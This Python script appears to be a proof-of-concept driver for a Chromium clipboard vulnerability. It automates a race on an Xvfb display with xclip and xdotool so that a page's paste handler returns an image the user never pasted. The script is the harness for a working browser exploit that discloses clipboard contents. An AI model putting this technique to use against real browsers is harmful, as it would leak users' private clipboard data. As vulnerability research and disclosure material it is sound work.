#!/usr/bin/env python3
"""Automated driver for the clipboard-PNG sequence_number bypass POC.

Simulates the full attack on an Xvfb display:
  1. Places png_a.png on the OS clipboard (what the "user" intends to paste).
  2. Launches Chrome at poc.html.
  3. Sends Ctrl+V via xdotool (real keypress -> transient user activation).
  4. The page's paste handler wipes SystemClipboard's snapshot via a
     nested execCommand('copy'), then signals 'window-open'.
  5. This driver immediately replaces the OS clipboard with png_b.png
     (simulating an external app — screenshot tool, clipboard manager, etc).
  6. After its busy-wait, the page calls items[i].getAsFile(). Because
     DataObjectItem::GetAsFile() lacks the sequence_number_ check, it
     returns png_b.png — clipboard data the user never pasted.
"""
import os
import subprocess
import sys
import threading
import time

ROOT = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, ROOT)

import make_pngs  # noqa: F401  -- side-effect: writes png_a.png / png_b.png
import server

CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
DISPLAY = os.environ.get("DISPLAY", ":99")
XTOOLS = os.environ.get("XTOOLS", "/tmp/x11tools/root/usr/bin")
XLIBS = os.environ.get("XLIBS", "/tmp/x11tools/root/usr/lib/x86_64-linux-gnu")

ENV = dict(os.environ)
ENV["DISPLAY"] = DISPLAY
ENV.setdefault("LD_LIBRARY_PATH", "")
ENV["LD_LIBRARY_PATH"] = XLIBS + ":" + ENV["LD_LIBRARY_PATH"]


def xclip_set_png(path):
    """Place a PNG on the X11 CLIPBOARD selection as target image/png."""
    with open(path, "rb") as f:
        data = f.read()
    p = subprocess.Popen(
        [os.path.join(XTOOLS, "xclip"), "-selection", "clipboard",
         "-t", "image/png"],
        stdin=subprocess.PIPE, env=ENV,
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    p.stdin.write(data)
    p.stdin.close()
    # xclip forks to background to own the selection; give it a moment.
    time.sleep(0.2)
    print(f"[driver] clipboard <- {os.path.basename(path)} ({len(data)} bytes)")


def xdotool(*args):
    return subprocess.run(
        [os.path.join(XTOOLS, "xdotool"), *args],
        env=ENV, capture_output=True, text=True)


def find_chrome_window():
    for _ in range(100):
        # Match the toplevel browser window only — child render widgets are
        # named "Chromium" too, but Ctrl+V must land on the toplevel so
        # Chrome's accelerator path turns it into a Paste editor command.
        r = xdotool("search", "--name", "Chromium")
        ids = r.stdout.split()
        if ids:
            # Heuristic: the toplevel is the one whose WM_NAME contains the
            # page title; fall back to the last id (toplevel is created last).
            for wid in ids:
                name = xdotool("getwindowname", wid).stdout.strip()
                if "sequence_number" in name or "Chromium" == name.split(" - ")[-1]:
                    return wid
            return ids[-1]
        time.sleep(0.2)
    return None


def main():
    # Start HTTP server in-process so we can observe its events.
    t = threading.Thread(target=server.run, daemon=True)
    t.start()
    time.sleep(0.3)

    # Step 1: user copies png_a.
    xclip_set_png(os.path.join(ROOT, "png_a.png"))

    # Step 2: launch Chrome.
    profile = "/tmp/chrome-poc-profile"
    subprocess.run(["rm", "-rf", profile])
    chrome_env = dict(os.environ)
    chrome_env["DISPLAY"] = DISPLAY
    chrome_env["ASAN_OPTIONS"] = "detect_leaks=0"
    chrome = subprocess.Popen(
        [CHROME,
         "--no-first-run", "--no-default-browser-check",
         "--user-data-dir=" + profile,
         "--disable-gpu", "--no-sandbox",
         "--enable-logging=stderr", "--v=0",
         "--disable-features=Translate",
         "--window-size=1000,700",
         f"http://127.0.0.1:{server.PORT}/poc.html" +
         ("?nowipe=1" if os.environ.get("CONTROL") == "1" else "")],
        env=chrome_env,
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    print(f"[driver] chrome pid={chrome.pid}")

    # Drain Chrome output in background so the pipe doesn't fill.
    chrome_log = []
    def _drain():
        for line in chrome.stdout:
            try:
                s = line.decode(errors="replace")
            except Exception:
                s = repr(line)
            chrome_log.append(s)
    threading.Thread(target=_drain, daemon=True).start()

    try:
        # Wait for page to signal ready.
        if not server.state["ready"].wait(60):
            print("[driver] page never signalled ready"); return 2

        wid = find_chrome_window()
        print(f"[driver] chrome window id={wid}")
        if not wid:
            print("[driver] could not find Chrome window"); return 2

        # Step 3: focus and send Ctrl+V.
        xdotool("windowactivate", "--sync", wid)
        xdotool("windowfocus", "--sync", wid)
        time.sleep(0.5)
        # Click into the page to ensure the contenteditable has focus.
        xdotool("mousemove", "--window", wid, "200", "200")
        xdotool("click", "--window", wid, "1")
        time.sleep(0.3)
        print("[driver] sending Ctrl+V")
        xdotool("key", "--window", wid, "ctrl+v")

        # Step 4: wait for the page to open the race window.
        if not server.state["window_open"].wait(15):
            print("[driver] paste handler never opened race window")
            print("[driver] retrying Ctrl+V once more…")
            xdotool("key", "--window", wid, "ctrl+v")
            if not server.state["window_open"].wait(15):
                return 3

        # Step 5: external process places png_b on the clipboard.
        xclip_set_png(os.path.join(ROOT, "png_b.png"))

        # Step 6: wait for verdict.
        if not server.state["done"].wait(30):
            print("[driver] page never reported result"); return 4

        verdict = server.state["result"].get("server_verdict", "?")
        print(f"\n[driver] FINAL VERDICT: {verdict}\n")
        return 0 if "VULNERABLE" in verdict else 1
    finally:
        chrome.terminate()
        try:
            chrome.wait(5)
        except Exception:
            chrome.kill()
        with open(os.path.join(ROOT, "chrome.log"), "w") as f:
            f.writelines(chrome_log)
        # Surface any console / clipboard logs of interest.
        for ln in chrome_log:
            if any(k in ln for k in ("CONSOLE", "clipboard", "paste",
                                     "execCommand", "ERROR")):
                sys.stdout.write("  chrome> " + ln)


if __name__ == "__main__":
    sys.exit(main())
